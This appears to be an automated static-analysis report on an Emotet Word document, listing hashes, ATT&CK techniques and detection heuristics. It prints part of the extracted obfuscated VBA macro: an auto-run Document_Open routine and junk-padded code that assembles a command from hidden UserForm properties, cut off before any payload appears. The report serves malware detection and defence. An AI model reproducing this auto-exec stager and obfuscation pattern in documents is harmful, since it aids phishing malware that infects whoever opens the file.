Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f097cb6a04918a2e…

MALICIOUS

Office (OLE)

197.5 KB Created: 2019-12-18 15:07:00 Authoring application: Microsoft Office Word First seen: 2020-04-06
MD5: 02976a569c4fffd38415c300a24452e6 SHA-1: 6e465a3a763b8d9f0ac8dbb447f047ab230cf7fe SHA-256: f097cb6a04918a2e2b1fa2c5e2ee4953592db8b9b2dcdd0f1d645b1e9e65c414
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a VBA macro that automatically executes upon opening the document, as indicated by the Document_Open heuristic. The macro utilizes CreateObject and a hidden UserForm property to stage and execute code, a common technique for downloading and running further payloads. ClamAV detection confirms this as Emotet, a known downloader family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7465810-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7465810-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10714 bytes
SHA-256: 4da8a7337cebb0b9e7b20ed0ac9338562d9f62911886d4f6cd0a0198c0a06db7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xebqltgfgvh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Unjzufgcluk, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Uatbrsusdjym
         Case Wonkijywnhle
   Puohnjbcxj = Sin(Wwpnphbjd)
   Nuntymmqnslcj = CStr(Zqqurdebnbhz)
   Cqfoyamz = 324
   Plttnktg = Sin(Iltjjsjtzrrnu)
   Cgokvfzane = CStr(Kodhahuvrx)
   Gqtaylcqh = 567
   Dfvwsjkffe = Sin(Fwjqgarsekjef)
   Cbcocbczbfkbm = CStr(Qawrodovvqpq)
   Wqrgjidcpgxc = 5645
End Select
For Kwyflmuih = Vnggymkwgfosu To Onlptlggkzske
      While Ojdjouxwrumgq <> Dddnygxrumogv
         Cgdhrfplo = Ruvgfpepvph * Atn(Rqrjwzocolsg) * (Lqorojhpdw + Ycglqupip)
      Wend
Next
   Select Case Uiyfyixd
         Case Bnhmewebkew
   Cytrdmgbcajl = Sin(Ijobsiyqbl)
   Qdbeuglo = CStr(Fruqdoznx)
   Mvrwdebv = 324
   Hbbwdayfdzlnb = Sin(Hbekroooydhji)
   Ksjkxpst = CStr(Ahubszumzwc)
   Uhtndtvqqo = 567
   Sdrghoidwrh = Sin(Fdnwiuanhp)
   Cpafxkstm = CStr(Cgrhutpcazaxp)
   Htbblnpceyhx = 5645
End Select
For Oaaghlqrm = Rnbecskyddzs To Imdmjmwqvly
      While Ivcqgviuanx <> Xyudpiqsy
         Edtxarqgcbb = Nsxctizg * Atn(Oxvswqjy) * (Pldbktixraevw + Wloyqzguaea)
      Wend
Next
   Select Case Mtoxbczrgbmk
         Case Lqiyegffus
   Aadiduoilz = Sin(Bvkldklx)
   Mxuzleog = CStr(Ipcynyxrwdzmt)
   Iwubkgrlwngne = 324
   Teaatmtlyf = Sin(Bweaencciufo)
   Dgkhkthmkul = CStr(Jpkwwxmqorn)
   Cgbyzlkc = 567
   Aqvtmpmjoka = Sin(Xyiqdaooxej)
   Klvzilac = CStr(Aezbciyra)
   Earuhbuzdmlc = 5645
End Select
For Aooboslm = Mdzmfynjh To Ldebjgdgt
      While Oxbujplr <> Hjidchtfybvd
         Kkafligzskp = Loxyqapduw * Atn(Zjbunglzm) * (Ogfzlhrxoawiq + Ecilpncy)
      Wend
Next
Sysrhuyvaw
End Sub

Attribute VB_Name = "Sjvnyyoxylvom"
Attribute VB_Base = "0{9F6D7A7A-53A3-4C95-84A6-0F14A96F298D}{7AC437B7-995E-4408-B24B-A9B17231A199}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Oqtnpompkhmt"
Function Adcesxbsfuib()
   Select Case Uibzhfml
         Case Toienqtromazz
   Beiuvltl = Sin(Kjuuqzmz)
   Vjtidxnl = CStr(Vjgyfbdq)
   Adbcdgywyn = 324
   Tsfskzrxyiqdg = Sin(Woovwnuc)
   Rfxzqmhqv = CStr(Snqdzonsmyw)
   Chjrqmyp = 567
   Tutyhvjnkl = Sin(Bxsxyhkf)
   Cuxidpziqyfc = CStr(Fqfwdllqny)
   Ztoqficysz = 5645
End Select
For Stnburxzajric = Wjmgycrq To Asxzzqgogejy
      While Wahlqbfosggof <> Wbdihuya
         Sltvisya = Xvfaepmzrt * Atn(Nlkdgpcbxa) * (Xqlskohopj + Vderizjf)
      Wend
Next
Yqsecsieqnzr = Xebqltgfgvh.Unjzufgcluk
   Select Case Mkanevhx
         Case Bvveokjye
   Fisceejb = Sin(Ouoczffr)
   Fgqhbrrzva = CStr(Xagchlarx)
   Fmbhboeehpmu = 324
   Lammkgdyhxow = Sin(Uryokokuajpkr)
   Slfgkwknenpo = CStr(Esfrhjpqx)
   Hqacwaohdo = 567
   Qnbketbvad = Sin(Qktjmebnwvdfj)
   Nahdqskod = CStr(Lxwokdbemmhfu)
   Xmujvatlovt = 5645
End Select
For Dgvpensdrhkze = Vfvmeduxttkys To Tredafqra
      While Jgekkrvvp <> Gvvjibvuparjo
         Afsfougytosj = Dwwztkjhqwow * Atn(Fswqrpqqcku) * (Wbuqslbm + Kvhmsowqrnps)
      Wend
Next
Fumxqfqphw = Yqsecsieqnzr + Sjvnyyoxylvom.Lkwqscxhxdr + Sjvnyyoxylvom.Ahwjvivosdnjj + Sjvnyyoxylvom.Weqsrsmccide
   Select Case Kjpavizm
         Case Gtbuovsdkxrhy
   Ncgaratuntbyq = Sin(Avkxlbrkqwu)
   Pldlrbhg = CStr(Dvnznbnwbw)
   Wwamxwrqdxwqe = 324
   Phpyhgjgbxc = Sin(Czsgfspgkf)
   Ocigyxully = CStr(Yqqmqyouri)
   Eqkmmiec = 567
   Teazdaisye = Sin(Ipbdqlqiu)
   Ebinhzctnal = CStr(Lqvomzjjty)
   Kjssldsmpwxu = 5645
End Select
For Twkwgwsp = Qcwvwekdzswpj To Wtkxpsbb
      While Nzxrmcvrs <> Gxqkluuued
         Ujcischobk = Fnmnpaxrys * Atn(Tmdygghbbpchj) * (Plniwhhe + Gfdfulbtg)
      Wend
Next
Aqtoytmgssmu = Fumxqfqphw +
... (truncated)

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